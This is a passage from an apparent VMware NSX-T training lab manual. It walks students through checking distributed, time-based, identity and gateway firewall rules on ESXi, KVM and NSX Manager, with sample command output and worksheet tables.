# realization time : 2020-11-04T09:15:18
# FILTER rules
rule 1 at 1 inout ethertype any stateless from any to any
accept;
}

33
 Rule 3048 is created to allow traffic between Web-Servers and App-Servers over port
8443:
The following UUIDs also appear:
• 6a966fb0-6388-42d7-9585-03acee45028e is the UUID of the Web-Servers address
sets and groups used for the rule configuration.
• 04ee3f8f-af45-45d3-a7d3-43843216c5cf is the UUID of the App-Servers address sets
and groups used for the rule configuration.
• 084bb65c-a4b9-45c2-b743-1477fcfffe15 is the UUID of the 3-Tier address sets and
groups used for the rule configuration.

NOTE

The UUIDs of the address sets are different in your lab environment.

5. Record the information of the rule with destination port 8443 in the Value column of the
table in your student worksheet.

Configuration Details for Firewall Rule with Destination Port 8443

Parameter Value

Rule number

Direction (in/out/inout)

Protocol

Source (from addrset)

Destination (to addrset)

Port

Action (accept/reject/drop)

34
6. Retrieve the IP and MAC addresses associated with the distributed firewall rules for a
dvfilter.

[root@sa-esxi-03:~] vsipioctl getaddrsets -f <dvfilter-name>

Example: [root@sa-esxi-03:~] vsipioctl getaddrsets -f nic-
266154-eth0-vmware-sfw.2
7. Use the address sets that you recorded in a previous step and record the source and
destination IPs of the rule with destination port 8443 in the Value column of the table in your
student worksheet.

Configuration Details for Firewall Rule with Destination Port 8443

Parameter Value

Source IPs

Destination IPs

8. Obtain the distributed firewall configuration for a dvfilter.

[root@sa-esxi-03:~] vsipioctl getfwconfig -f <dvfilter-name>

A list of firewall rules enforced at the vNIC of the VM, the address set with an IP, and MAC
addresses appear.

Example: [root@sa-esxi-03:~] vsipioctl getfwconfig -f nic-

266154-eth0-vmware-sfw.2

NOTE

The vsipioctl getfwconfig command gives the combined output of both getrules
and getaddrsets.

35
Task 2: Verify the Layer 7 Distributed Firewall Rules from the ESXi
CLI
You use the native ESXi commands to query the Layer 7 distributed firewall rules applied to the
Win8 VM.

1. Open MTPuTTY from the taskbar and click the SA-ESXi-04 tab.

2. Retrieve the name of the dvfilter associated with the vNIC of the Win8 VM.

[root@sa-esxi-04:~] summarize-dvfilter | grep -A9 Win8

world 272396 vmm0:Win8 vcUuid:'50 1d ee a8 7b b3 da e8-26 d8 c3
9d 82 99 14 5a'
port 100663326 Win8.eth0
vNic slot 2
name: nic-272396-eth0-vmware-sfw.2
agentName: vmware-sfw
state: IOChain Attached
vmState: Attached
failurePolicy: failClosed
serviceVMID: 2
filter source: Dynamic Filter Creation
moduleName: nsxt-vsip-17107169
The vmware-sfw software construct stores and enforces DFW rules in the ESXi hosts. The
summarize-dvfilter command is used to retrieve the name of vmware-sfw
associated with the vNIC of a particular VM. This example seeks to retrieve the vmware-sfw
name of the Win8 VM, which is nic-272396-eth0-vmware-sfw.2. This identifier is
used to query the rules associated with the vNIC of this VM. The identifier might be different
in your environment.
3. Obtain the distributed firewall configuration for the Win8's vNIC dvfilter.
[root@sa-esxi-04:~] vsipioctl getfwconfig -f <dvfilter-name>
A list of firewall rules enforced at the vNIC of the VM, the address set with an IP, and MAC
addresses appear.

36
Example:
[root@sa-esxi-04:~] vsipioctl getfwconfig -f nic-272396-eth0-
vmware-sfw.2
ruleset mainrs {
# generation number: 0
# realization time : 2020-11-04T09:56:21
# FILTER (APP Category) rules
rule 3051 at 1 inout protocol udp from addrset a3fce165-18ea-
4f6a-af16-e7814ed84bc7 to any port 53 with attribute profile
892c3032-5814-4b2c-852a-f26c69824753 accept;
rule 3051 at 2 inout protocol tcp strict from addrset a3fce165-
18ea-4f6a-af16-e7814ed84bc7 to any port 53 with attribute
profile 892c3032-5814-4b2c-852a-f26c69824753 accept;
rule 3052 at 3 inout protocol tcp strict from addrset a3fce165-
18ea-4f6a-af16-e7814ed84bc7 to any port {80, 443} with
attribute profile 1b00ba30-8fb7-4689-af8a-8f7e988258bd reject;
rule 3 at 4 (s) inout inet6 protocol ipv6-icmp icmptype 135
from any to any accept;
rule 3 at 5 (s) inout inet6 protocol ipv6-icmp icmptype 136
from any to any accept;
rule 4 at 6 (s) inout protocol udp from any to any port {67,
68} accept;
rule 2 at 7 (s) inout protocol any from any to any accept;
}

...

containers are shared for this filter

global containers
container 1b00ba30-8fb7-4689-af8a-8f7e988258bd {
# generation number: 89
# realization time : 2020-11-04T09:56:21
FQDN : .*facebook\.com(2a4e2683-8a69-486c-b994-43a6b346f898),
}

container 892c3032-5814-4b2c-852a-f26c69824753 {
# generation number: 89
# realization time : 2020-11-04T09:56:21
APP_ID : APP_DNS,
}

37
 Because Layer 7 firewall rules are configured on the VM, an object of type container also
appears in the output of the command. The container includes relevant information about the
context profiles used in the layer 7 rules, such as the creation time and the type of profile
configured.

The context profile is referred to as attribute profile in the rules, but it is an object of type
container.

In this example, the attribute profile referenced in rule 3052 corresponds with the container
with ID 1b00ba30-8fb7-4689-af8a-8f7e988258bd.

4. Use the container information obtained in the previous step and record the FQDN associated
with the rule blocking HTTP and HTTPS traffic in the Value column of the table in your
student worksheet.

HTTP/HTTPS Rule Configuration Details

Parameter Value

FQDN

Task 3: Verify the Distributed Firewall Rules from the KVM CLI
You use the Open vSwitch commands to query distributed firewall rule information. The Open
vSwitch module installed on the KVM host implements the firewall services.

1. Open MTPuTTY from the taskbar and double-click SA-KVM-01 to connect over SSH.

2. Switch the user to root.

vmware@sa-kvm-01:~$ sudo -i
3. Retrieve the virtual interface identifier for the vNICs that have associated distributed firewall
rules on SA-KVM-01.

root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-

ctl dfw/vif
The Virtual Interface (Vif) ID appears. This ID is needed to query the distributed firewall rules
associated with a VM.

SA-KVM-01 runs a single VM called sa-web-02.

Example:
root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-
ctl dfw/vif
Vif ID : 57601300-2e82-48c4-8c27-1e961ac70e81
Port name : sa-web-02
Port number : 1

38
4. Record the VIF details in the Value column of the table in your student worksheet.

sa-web-02 VIF Details

Parameter Value

Vif ID

5. Retrieve the distributed firewall rules associated with a virtual interface.

root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-

ctl dfw/rules <VIF-ID>
The VIF ID and the ruleset details appear. The ruleset typically has one or more rules.

Each rule has the following items:

• Rule number
• Rule direction
• Protocol
• Address set
• Port number
• Action

Example: root@sa-kvm-01:~# ovs-appctl -t

/var/run/openvswitch/nsxa-ctl dfw/rules 57601300-2e82-48c4-
8c27-1e961ac70e81
6. Record the information of the rule with destination port 8443 in the Value column of the
table in your student worksheet.

Configuration Details for Firewall Rule with Destination Port 8443

Parameter Value

Rule number

From addrset (source)

To addrset (destination)

Port

Action

The Rule Number that you record in this table must be identical to that recorded in the
previous task on the ESXi transport node.

39
7. Retrieve the IP and MAC addresses associated with the distributed firewall rules for a
dvfilter.

root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-

ctl dfw/addrset <addrset>
Example:root@sa-kvm-01:~# ovs-appctl -t
/var/run/openvswitch/nsxa-ctl dfw/addrset 04ee3f8f-af45-
45d3-a7d3-43843216c5cf

NOTE

You need to run the above command for each address set you found in the rule.

8. Use the address sets that you recorded in a previous step and record the source and
destination IPs of the rule with destination port 8443 in the Value column of the table in your
student worksheet.

Configuration Details for Firewall Rule with Destination Port 8443

Parameter Value

Source IPs

Destination IPs

The source and destination IPs recorded in this table must be identical to those recorded on
the ESXi transport node.

Task 4: Prepare for the Next Lab

You disable all distributed firewall rules.

1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
Firewall > CATEGORY SPECIFIC RULES > APPLICATION.

2. Click the vertical ellipsis icon near LAYER-7 POLICY and select Disable All Rules.

3. Click the vertical ellipsis icon near EXTERNAL ACCESS POLICY and select Disable All
Rules.

4. Click the vertical ellipsis icon near 3-TIER POLICY and select Disable All Rules.

5. Click PUBLISH.

40
Lab 6 Configuring the Time-Based
Firewall Policies

Objective and Tasks

Configure time-based distributed firewall rules:

1. Prepare for the Lab

2. Verify the NTP Status on ESXi and KVM Hosts

3. Configure the Time-Based Distributed Firewall Rules

4. Test the HTTP Connectivity Outside the Time Window

5. Validate the Time-Based Distributed Firewall Rules from the CLI

6. Test the HTTP Connectivity in the Time Window

7. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the NSX UI.

1. From your student desktop, open Chrome.

2. Click the NSX-T Data Center > NSX Manager bookmark.

3. On the login page, enter jdoe@vclass.local as the user name and VMware1! as the
password.

41
Task 2: Verify the NTP Status on ESXi and KVM Hosts
You verify that the NTP service is running on ESXi and KVM hosts, and that it is in sync with the
configured NTP server.

1. Use MTPuTTY to open an SSH session to SA-ESXi-03.

2. Retrieve the NTP configuration for the ESXi host.

cat /etc/ntp.conf
Verify that an NTP server with an IP address of 172.20.10.100 is configured.

3. Verify that the NTP service is running on the ESXi host.

/etc/init.d/ntpd status
The ntp daemon runs on the ESXi host.
ntpd is running
4. Verify that the ESXi host can successfully synchronize time with the configured NTP server.

ntpq -p
ntp.vclass.local server must appear with a * symbol at the beginning. This
symbol indicates that the NTP server was successfully selected for time synchronization.

5. Retrieve the current UTC time on the ESXi host.

date
You will use UTC time to configure the time-based distributed firewall rules in the upcoming
tasks. If you are currently in a different time zone, you must record the UTC time.
6. Use MTPuTTY to open an SSH session to SA-KVM-01.

7. Switch the user to root.

vmware@sa-kvm-01:~$ sudo -i
8. Retrieve the NTP configuration for the KVM host.

cat /etc/ntp.conf
Verify that an NTP server with an IP address of 172.20.10.100 is configured.

9. Verify that the NTP service is running on the KVM host.

/etc/init.d/ntp status
The ntp service runs on the host.

ntp.service - Network Time Service

Loaded: loaded (/lib/systemd/system/ntp.service; enabled;
vendor preset: enabled)
Active: active (running)

42
10. Verify that the KVM host can successfully synchronize time with the configured NTP server.

ntpq -p
ntp.vclass.local server must appear with a * symbol at the beginning. This symbol
indicates that the NTP server was successfully selected for time synchronization.

11. Retrieve the current UTC time on the KVM host.

date
You will use UTC time to configure the time-based distributed firewall rules in the upcoming
tasks. If you are currently in a different time zone, you must record the UTC time.

Task 3: Configure the Time-Based Distributed Firewall Rules

You configure a time-based distributed firewall rule to reject traffic during a scheduled
maintenance window.

1. From the NSX UI, navigate to Security > East West Security > Distributed Firewall.

2. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

3. Click +ADD POLICY.

The row for the new policy appears.

4. Enter Maintenance Window as the name.

5. Click the clock icon on the right side of the screen to set a time window.

The Time Window wizard appears.

6. Click ADD NEW TIME WINDOW.

43
7. Configure a new time window.

Option Action

Name Enter App Maintenance in the text box.

Time Zone Enter UTC in the text box.

Frequency Select ONE TIME.

Starting Select today's date.

On

From Based on the current UTC time, set this value to the next 30-minute interval.
For example, if the current UTC time is 13:14, set this value to 13:30. If the
current UTC time is 13:35, set this value to 14:00.

Do not use the time is your Student Desktop as a reference. The time zone
configured in the Student Desktop is Pacific (UTC-7) not UTC.

Ending On Select today's date.

Till Add 30 minutes to the value in the From text box. In this case, 14:00 for the
first example and 14:30 for the second example.

Description Enter App Upgrade to version 3 in the text box.

NOTE

Time Window can only accept 30-minute intervals.

8. Click SAVE.

9. Select the App Maintenance time window and click APPLY.

CAUTION

Ensure that the App Maintenance time window is selected before clicking APPLY, otherwise
the firewall rule will not work as expected.

10. Click the vertical ellipsis icon near the Maintenance Window policy and select Add Rule.

The row for the new rule appears.

44
11. Configure the new rule.

a. In the Name column, enter Reject Web Traffic as the name of the new rule.

b. In the Sources column, click the pencil icon, select the Web-Servers check box, and click
APPLY.

c. In the Destinations column, click the pencil icon, select the App-Servers check box, and
click APPLY.

d. In the Services column, navigate to the Raw Port-Protocols tab and click ADD SERVICE
ENTRY.
e. Select TCP from the Service Type drop-down menu and leave the Source Ports text
box blank

f. Enter 8443 as the destination port and click APPLY.

g. In the Context Profiles column, leave None (default) selected.

h. In the Applied To column, click the pencil icon, click Groups, select the Web-Servers and
App-Servers check boxes, and click APPLY.

i. In the Action column, select Reject from the drop-down menu..

Leave all other settings at their default value.

12. Navigate to the top-right corner of the screen and click PUBLISH.

Refresh the status of the policy until the realization status changes to Success.

Task 4: Test the HTTP Connectivity Outside the Time Window

You test the HTTP connectivity outside the scheduled maintenance window.

1. Use MTPuTTY to open an SSH session to sa-web-01.

MTPuTTY is located in the toolbar of the student desktop.

2. Test HTTPS access to the application server.

a. From sa-web-01, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

This step fails if the Time Window for your distributed firewall rule has already started.
Adjust the Time Window to the next 30 minutes interval and try again.

3. Use MTPuTTY to open an SSH session to sa-web-02.

45
4. Test the HTTPS access to the application server.

a. From sa-web-02, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is returned from sa-app-01.

This step fails if the Time Window for your distributed firewall rule has already started.
Adjust the Time Window to the next 30 minutes interval and try again.

Task 5: Validate the Time-Based Distributed Firewall Rules from the

CLI
You verify that the time-based distributed firewall rule was successfully realized in the ESXi and
KVM hosts.

1. Use MTPuTTY to open an SSH session to SA-ESXi-03.

2. Retrieve the name of the dvfilter associated with the vNIC of the sa-web-01 VM.

[root@sa-esxi-03:~] summarize-dvfilter | grep -A9 sa-web-01

world 266154 vmm0:sa-web-01 vcUuid:'50 1d fb 29 53 cc 02 7f-5e
81 69 1b 0f 03 28 9f'
port 100663323 sa-web-01.eth0
vNic slot 2
name: nic-266154-eth0-vmware-sfw.2
agentName: vmware-sfw
state: IOChain Attached
vmState: Attached
failurePolicy: failClosed
serviceVMID: 1
filter source: Dynamic Filter Creation
moduleName: nsxt-vsip-17107169
The vmware-sfw software construct stores and enforces DFW rules in the ESXi hosts. The
summarize-dvfilter command is used to retrieve the name of vmware-sfw
associated with the vNIC of a particular VM. This example seeks to retrieve the vmware-sfw
name of the sa-web-01 VM, which is nic-266154-eth0-vmware-sfw.2. This
identifier is used to query the rules associated with the vNIC of this VM. The identifier might
be different in your environment.

46
3. Retrieve the distributed firewall rules associated with a dvfilter.
[root@sa-esxi-03:~] vsipioctl getrules -f <dvfilter-name>
The rules attached to the sa-web-01 VM appear.
Example:
[root@sa-esxi-03:~] vsipioctl getrules -f nic-266154-eth0-
vmware-sfw.2
ruleset mainrs {
# generation number: 0
# realization time : 2020-11-09T15:09:57
# FILTER (APP Category) rules
rule 3053 at 1 inout protocol tcp strict from addrset 6a966fb0-
6388-42d7-9585-03acee45028e to addrset 04ee3f8f-af45-45d3-a7d3-
43843216c5cf port 8443 with time attribute profile 86d47b24-
57e8-4422-a5d1-f0499a1f1aa5 reject inactive;
rule 3 at 5 (s) inout inet6 protocol ipv6-icmp icmptype 135
from any to any accept;
rule 3 at 6 (s) inout inet6 protocol ipv6-icmp icmptype 136
from any to any accept;
rule 4 at 7 (s) inout protocol udp from any to any port {67,
68} accept;
rule 2 at 8 (s) inout protocol any from any to any accept;
}
A time attribute profile is associated with the rule with ID 3053. This time attribute profile has
an ID of 86d47b24-57e8-4422-a5d1-f0499a1f1aa5. You can use this identifier to retrieve
more information about the time attribute profile, such as its starting and ending time and
date.
When the current time is outside the configured time window, the rule is displayed as inactive
in the datapath. This state changes to active during the configured time window.
4. Retrieve the schedulers associated with a dvfilter.
vsipioctl getcontainers -f <dvfilter_name>
<dvfilter_name> is the name of the dvfilter that you obtained. In this example,
<dvfilter_name> is nic-266154-eth0-vmware-sfw.2
[root@sa-esxi-03:~] vsipioctl getcontainers -f nic-266154-
eth0-vmware-sfw.2
container 86d47b24-57e8-4422-a5d1-f0499a1f1aa5 {
# generation number: 64
# realization time : 2020-11-09T15:59:29
TB_ST_ID : 11/09/20-16:00,
TB_ET_ID : 11/09/20-16:30,
}

47
5. Retrieve the current UTC time on the ESXi host and compare it with the time of the
scheduler in the previous step to identify if you are in or out of the Time Window.

date
6. Use MTPuTTY to open an SSH session to SA-KVM-01.

7. Switch the user to root.

vmware@sa-kvm-01:~$ sudo -i
8. Retrieve the virtual interface identifier for the vNICs that have associated distributed firewall
rules on SA-KVM-01.

root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-

ctl dfw/vif
The Virtual Interface (Vif) ID appears. This ID is needed to query the distributed firewall rules
associated with a VM.

SA-KVM-01 runs a single VM called sa-web-02.

Example:
root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-
ctl dfw/vif
Vif ID : 57601300-2e82-48c4-8c27-1e961ac70e81
Port name : sa-web-02
Port number : 1
9. Retrieve the distributed firewall rules associated with a virtual interface.

root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-

ctl dfw/rules <VIF-ID>
Example: root@sa-kvm-01:~# ovs-appctl -t
/var/run/openvswitch/nsxa-ctl dfw/rules 57601300-2e82-48c4-
8c27-1e961ac70e81

ruleset b0d37569-47d5-43e5-af11-84b8216725fd {
rule 3055 inout protocol any from addrset 6a966fb0-6388-
42d7-9585-03acee45028e to addrset 6a966fb0-6388-42d7-9585-
03acee45028e reject;
}

48
10. Retrieve the schedulers configured on the KVM host.

ovs-appctl -t /var/run/openvswitch/nsxa-ctl
dfw/DfwSchedulerRules
root@sa-kvm-01:~# ovs-appctl -t /var/run/openvswitch/nsxa-
ctl dfw/DfwSchedulerRules
Section: b0d37569-47d5-43e5-af11-84b8216725fd (Sched:
86d47b24-57e8-4422-a5d1-f0499a1f1aa5 )
Rule: 3053 (OFF)
Section: ffffffff-35f8-4611-a40f-545432e3119a (Sched: 0 )
Rule: 1 (ON)
Section: ffffffff-8a04-4924-a5b4-54d30e81befe (Sched: 0 )
Rule: 4 (ON)
Rule: 3 (ON)
Rule: 2 (ON)
A scheduler is associated with the rule with ID 3053. The scheduler has an ID of 86d47b24-
57e8-4422-a5d1-f0499a1f1aa5.

When the current time is outside the configured time window, the rule is displayed as OFF in
the datapath. This state changes to ON during the configured time window.

Task 6: Test the HTTP Connectivity in the Time Window

You test the HTTP connectivity during the scheduled maintenance window.

1. If not already opened, use MTPuTTY to open an SSH session to sa-web-01.

2. Test HTTPS access to the application server.

a. From sa-web-01, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is refused.

curl: (7) Failed to connect to 172.16.20.11 port 8443:

Connection refused
Because the rule configured to reject HTTPS traffic between Web-Server and App-
Server is now active, the connection to sa-app-01 is rejected.

3. If not already opened, use MTPuTTY to open an SSH session to sa-web-02.

49
4. Test HTTPS access to the application server.

a. From sa-web-02, request an HTTPS webpage from sa-app-01.

curl -k https://172.16.20.11:8443/cgi-bin/app.py
b. Verify that an HTTPS response is refused.

curl: (7) couldn't connect to host

Because the rule configured to reject HTTPS traffic between Web-Server and App-
Server is now active, the connection to sa-app-01 is rejected.

Task 7: Prepare for the Next Lab

You delete all user-created distributed firewall rules.

1. On the NSX UI, navigate to Security > East West Security > Distributed Firewall >
CATEGORY SPECIFIC RULES > APPLICATION.

2. Click the vertical ellipsis icon near the Maintenance Window policy and select Delete Policy.

3. Click PUBLISH.

50
Lab 7 Configuring the Identity Firewall
Rules

Objective and Tasks

Configure an Identity Firewall rule to prevent Active Directory users from opening SSH sessions:
1. Prepare for the Lab
2. Enable an Identity Firewall
3. Add an Active Directory Domain to NSX
4. Test the SSH Connectivity
5. Create an Identity Firewall Rule
6. Verify the Identity Firewall Rule Operation
7. Verify Identity Firewall Rules from the ESXi CLI
8. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the vSphere Client UI and the NSX UI.

1. From your student desktop, log in to the vSphere Client UI.

a. Open Chrome.

b. Click the vSphere Site-A > vSphere Client (SA-VCSA-01) bookmark.

c. On the login page, enter administrator@vsphere.local as the user name and

VMware1! as the password.
2. Log in to the NSX UI.

a. Open another tab in Chrome.

b. Click the NSX-T Data Center > NSX Manager bookmark.

c. On the login page, enter jdoe@vclass.local as the user name and VMware1! as
the password.

51
Task 2: Enable an Identity Firewall
You enable an Identify Firewall in your environment to configure IDFW firewall rules.
1. On the NSX UI Home page, navigate to Security > East West Security > Distributed
Firewall.
2. From the ACTIONS drop-down menu at the top-right corner, select General Settings under
the Settings section.
3. On the General Firewall Settings tab, turn on the Identify Firewall Status toggle to display
Enable.
4. Click the Identity Firewall Settings tab.
5. On the Identity Firewall Settings tab, turn on the Compute-Cluster toggle to display Enable.
6. Click SAVE.

Task 3: Add an Active Directory Domain to NSX

You add an Active Directory domain to NSX before creating user-based Identity Firewall rules.
1. At the upper-right corner of the NSX UI, click the jdoe@vclass.local user and select Log out.
2. Log in to the NSX UI with admin as the user name and VMware1!VMware1! as the
password.
3. From the NSX UI, navigate to System > Configuration > Identity Firewall AD.
4. Click ADD ACTIVE DIRECTORY.
5. Configure Active Directory.
a. Enter vclass.local as the name.
b. Enter VCLASS as the NetBIOS name.
c. Enter DC=vclass, DC=local as the base distinguished name .
d. In the LDAP Server section, click Set, click ADD LDAP SERVER, and configure the
LDAP server.

Option Action

Host Enter 172.20.10.10 in the text box.

Protocol Select LDAP (default).

Port Leave 389 (default).

Username Enter administrator in the text box.

Password Enter VMware1! in the text box.

e. Click ADD and click APPLY.

f. Leave all other settings as default.

52
6. Click SAVE.

7. Click the View Sync Status link in the Synchronization Status column.

8. Verify that the Last Sync Status is Success.

9. Click the LDAP SERVER tab.

10. Click the TEST CONNECTION link in the Connectivity Status column.

11. Verify that the Connectivity Status is Up.

Task 4: Test the SSH Connectivity

You verify that you can open SSH sessions from a Windows 8 machine when you are logged in
as a Developer.

1. From the vSphere Client, open a web console to the Win8 virtual machine.

a. Click the Win8 virtual machine.

b. On the Summary tab, select the Launch Web Console link.

c. Log in with dev@vclass.local as the user name and VMware1! as the password.

2. From the desktop of the Win8 virtual machine, open a PuTTY session to 172.16.10.11.

a. Double-click the PuTTY application on the Student Desktop.

b. In the Host Name (or IP address) text box of the PuTTY Configuration window, enter
172.16.10.11.
c. Click Open.

d. If a PuTTY Security Alert message appears, click Yes.

e. Verify that the SSH session opens successfully and that you are prompted to enter the
credentials for the remote machine.

f. Enter root as the user name and VMware1! as the password.

3. Close the PuTTY session.

53
Task 5: Create an Identity Firewall Rule
You create an Identity Firewall rule that prevents users in the Developers Active Directory group
from opening SSH sessions.

1. At the upper-right corner of the NSX UI, click the admin user and select Log out.

2. Log in to the NSX UI with jdoe@vclass.local as the user name and VMware1! as
the password.

3. On the NSX UI Home page, navigate to Inventory > Groups.

4. Click ADD GROUP.

5. Create a group.
a. Enter Developers as the name.
b. In the Compute Members column, click the Set Members link.
c. Click the AD Groups tab.
d. Select the Developers Active Directory group and click APPLY.

6. Click SAVE.

7. In the NSX UI, navigate to Security > East West Security > Distributed Firewall.

8. Click CATEGORY SPECIFIC RULES and click the APPLICATION tab.

9. Click +ADD POLICY.

10. After the row for the new policy appears, enter BLOCK SSH as the name.
11. Click the vertical ellipsis icon near BLOCK SSH and select Add Rule to add a new distributed
firewall rule.
12. When the New Rule row appears, configure the rule.
a. In the Name column, enter Block SSH from Developers as the name.
b. In the Sources column, click the pencil icon, select the Developers check box, and click
APPLY.
c. In the Destinations column, leave Any (default) selected.
d. In the Services column, click the pencil icon, select the SSH check box, and click APPLY.
e. In the Context Profiles column, leave None (default) selected.
f. In the Applied To column, click the pencil icon, click Groups, select the Windows check
box, and click APPLY.
g. In the Action column, select Reject from the drop-down menu.
Leave the default value for all other settings.

13. Navigate to the top-right corner of the screen and click PUBLISH.
14. From the ACTIONS drop-down menu at the top-right corner, select General Settings under
the Settings section.

54
15. Navigate to the Identity Firewall Settings tab and verify that the Identity Firewall is enabled
for Compute-Cluster.

16. If the Identity Firewall is not enabled, use the toggle to enable it.

17. Click SAVE.

Task 6: Verify the Identity Firewall Rule Operation

You verify that users in the Developers Active Directory group can no longer open SSH sessions
because of the configured IDFW rule.
1. If not already opened, open a web console to the Win8 virtual machine and log in with
dev@vclass.local as the user name and VMware1! as the password.
2. From the desktop of the Win8 virtual machine, open a PuTTY session to 172.16.10.11.
The IDFW that you created is rejecting all SSH traffic from the users in the Developers
Active Directory group. A Connection refused error appears when you try to open the SSH
session while logged in as dev@vclass.local.
3. Close the PuTTY session.

Task 7: Verify the Identity Firewall Rules from the ESXi CLI
You use the native ESXi commands to query the configured IDFW rule.
1. Open MTPuTTY from the taskbar and click the SA-ESXi-04 tab.
2. Retrieve the name of the dvfilter associated with the vNIC of the Win8 VM.
[root@sa-esxi-04:~] summarize-dvfilter | grep -A9 Win8
world 272396 vmm0:Win8 vcUuid:'50 1d ee a8 7b b3 da e8-26 d8 c3
9d 82 99 14 5a'
port 100663326 Win8.eth0
vNic slot 2
name: nic-272396-eth0-vmware-sfw.2
agentName: vmware-sfw
state: IOChain Attached
vmState: Attached
failurePolicy: failClosed
serviceVMID: 2
filter source: Dynamic Filter Creation
moduleName: nsxt-vsip-17107169
The vmware-sfw software construct stores and enforces DFW rules in the ESXi hosts. The
summarize-dvfilter command is used to retrieve the name of vmware-sfw
associated with the vNIC of a particular VM. This example seeks to retrieve the vmware-sfw
name of the Win8 VM, which is nic-272396-eth0-vmware-sfw.2. This identifier is
used to query the rules associated with the vNIC of this VM. The identifier might be different
in your environment.

55
3. Obtain the distributed firewall configuration for the Win8's vNIC dvfilter.

[root@sa-esxi-04:~] vsipioctl getfwconfig -f <dvfilter-name>

The rules attached to the Win8 VM appear.

Example:

[root@sa-esxi-04:~] vsipioctl getfwconfig -f nic-272396-eth0-

vmware-sfw.2
ruleset mainrs {
# generation number: 0
# realization time : 2020-11-04T09:56:21
# FILTER (APP Category) rules
rule 3072 at 1 inout protocol tcp strict from any to any port
22 with extended src 6bb96fd7-e435-4363-99f7-a8d5085824be
reject;
rule 3 at 2 (s) inout inet6 protocol ipv6-icmp icmptype 135
from any to any accept;
rule 3 at 3 (s) inout inet6 protocol ipv6-icmp icmptype 136
from any to any accept;
rule 4 at 4 (s) inout protocol udp from any to any port {67,
68} accept;
rule 2 at 5 (s) inout protocol any from any to any accept;

...

containers are shared for this filter

global containers
container 6bb96fd7-e435-4363-99f7-a8d5085824be {
# generation number: 154
# realization time : 2021-02-08T15:50:47
WIN_SID : S-1-5-21-826080028-694968213-2415077811-45603,
}
In the sample output, the rule with ID 3072 is an Identity Firewall rule that includes a with
extended src attribute followed by an identifier. You can use this identifier to obtain the
Windows security identifier (SID) of the AD group configured as a source in the Identity
Firewall rule.

Active Directory groups are represented as containers in the datapath. In the example, the
container with ID 6bb96fd7-e435-4363-99f7-a8d5085824be corresponds to the Windows
security identifier (SID) of S-1-5-21-826080028-694968213-2415077811-45603.

56
Task 8: Prepare for the Next Lab
You delete all user-created distributed firewall rules.

1. On the NSX UI, navigate to Security > East West Security > Distributed Firewall >
CATEGORY SPECIFIC RULES > APPLICATION.

2. Click the vertical ellipsis icon near the BLOCK SSH policy and select Delete Policy.

3. Click PUBLISH.

57
Lab 8 Configuring the NSX Gateway
Firewall

Objective and Tasks

Configure and test the NSX gateway firewall rules to control north-south traffic:

1. Prepare for the Lab

2. Test SSH Connectivity

3. Configure a Gateway Firewall Rule to Block External SSH Requests

4. Test the Effect of the Configured Gateway Firewall Rule

Task 1: Prepare for the Lab

You log in to the vSphere Client UI and the NSX UI.

1. From your student desktop, log in to the vSphere Client UI.

a. Open Chrome.

b. Click the vSphere Site-A > vSphere Client (SA-VCSA-01) bookmark.

c. On the login page, enter administrator@vsphere.local as the user name and

VMware1! as the password.
2. Log in to the NSX UI.

a. Open another tab in Chrome.

b. Click the NSX-T Data Center > NSX Manager bookmark.

c. On the login page, enter jdoe@vclass.local as the user name and VMware1! as
the password.

59
Task 2: Test SSH Connectivity
You verify that external SSH connections are successful.

1. Use MTPuTTY on your student desktop to open the preconfigured SSH connections to sa-
web-01, sa-app-01, and sa-db-01.

2. From the sa-web-01 MTPuTTY connection, use SSH to connect to sa-app-01.

a. Establish an SSH connection.
ssh 172.16.20.11
b. If prompted if you want to continue connecting, enter yes and press enter.
c. Log in with VMware1! as the password.
d. Close the SSH connection.
exit

Task 3: Configure a Gateway Firewall Rule to Block External SSH

Requests
You configure a gateway firewall rule to block SSH requests from external networks.

1. On the NSX UI Home page, navigate to Security > North South Security > Gateway
Firewall > GATEWAY SPECIFIC RULES.

2. From the Gateway drop-down menu, select T0-GW-01.

3. Click + ADD POLICY.

4. When the row for the new policy appears, enter BLOCK EXTERNAL SSH TRAFFIC as
the name.
5. Click the vertical ellipsis icon near the BLOCK EXTERNAL SSH TRAFFIC policy and select
Add Rule.

6. Configure the rule.

a. In the Name column, enter Reject SSH as the name.
b. In the Sources column, leave Any (default) selected.
c. In the Destinations column, click the pencil icon, select the 3-Tier check box, and click
APPLY.
d. In the Services column, click the pencil icon, select the SSH check box in the Set
Services page, and click APPLY.
e. In the Applied To column, click the pencil icon, deselect the T0-GW-01 check box, select
the T0-GW-01-Uplink-1 check box, and click APPLY.
f. In the Action column, select Reject from the drop-down menu.

7. Click PUBLISH.

60
Task 4: Test the Effect of the Configured Gateway Firewall Rule
You verify that the gateway firewall rule successfully blocks the external SSH traffic.

1. Open MTPuTTY from the student desktop and try to connect to sa-web-01, sa-app-01, and
sa-db-01.

Your connections fail with a Connection refused error.

2. Close the MTPuTTY connection attempts by clicking OK and Close.

3. From sa-web-01, open an SSH connection to sa-app-01.

a. In the vSphere Client UI, start a web console to sa-web-01.

b. Log in with root as the user name and VMware1! as the password.

c. Establish an SSH connection to sa-app-01.

ssh 172.16.20.11
d. Log in with VMware1! as the password.

The connection is successful because the gateway firewall rule that you configured does
not affect the east-west traffic.

e. Close the SSH connection.

exit

61
62
Lab 9 Troubleshooting the NSX
Gateway Firewall

Objective and Tasks

Verify gateway firewall rules from NSX Edge and configure logging:
1. Prepare for the Lab
2. Verify the Gateway Rules from the NSX Edge CLI
3. Prepare for the Next Lab

Task 1: Prepare for the Lab

You log in to the NSX UI.

